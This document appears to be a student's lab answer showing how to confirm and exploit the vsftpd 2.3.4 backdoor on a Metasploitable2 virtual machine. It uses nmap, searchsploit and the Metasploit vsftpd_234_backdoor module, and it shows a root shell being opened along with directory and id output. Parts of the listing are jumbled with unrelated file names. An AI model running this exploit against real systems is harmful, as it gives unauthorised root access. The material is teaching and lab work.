

-check vsftp is vuln on port 21 for metasploit2.[5 marks]

QUE - check vsftp is vuln on port 21 for metasploit2.[5 marks]
ANS

Command: nmap -p21 192.168.241.129 -sV
Command:
Command:

```
Nmap done: 1 IP address (1 host up) scanned in 13.28 seconds

(root@kali)~# nmap -p21 192.168.241.129 -sV
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-27 10:43 EST
Nmap scan report for 192.168.241.129
Host is up (0.00043s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
MAC Address: 00:0C:29:E9:08:66 (VMware)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.46 seconds
```

```
(root@kali)~# searchsploit vsftpd 2.3.4
```

Exploit Title	Path
vsftpd 2.3.4 - Backdoor Command Execution	unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)	unix/remote/17491.rb

Shellcodes: No Results

[*] This module does not support check.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.241.129:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 192.168.241.129:21 - USER: 331 Please specify the password.

[+] 192.168.241.129:21 - Backdoor service has been spawned, handling...

[+] 192.168.241.129:21 - UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 1 opened (192.168.241.159:43627 → 192.168.241.129:6200) at 2025-01-27 10:46:31 -0500

```
ls  Home  hfs.exe  Android_RA...  pdf.aspr...  android_kali.sh
bin
boot
cdrom
dev
etc
home  sshis...  space  OpenIt.cmd  Website-do...
initrd
initrd.img
lib
lost+found
media
mnt  net_int...  commandli...  phish1_run.sh  payload_ex...
nohup.out
opt
proc
root
sbin  html  my-release...  abc.exe  SHDPPF-R
srv
sys
tmp
usr
var
vmlinuz
```

usr

var

vmlinuz

id

uid=0(root) gid=0(root)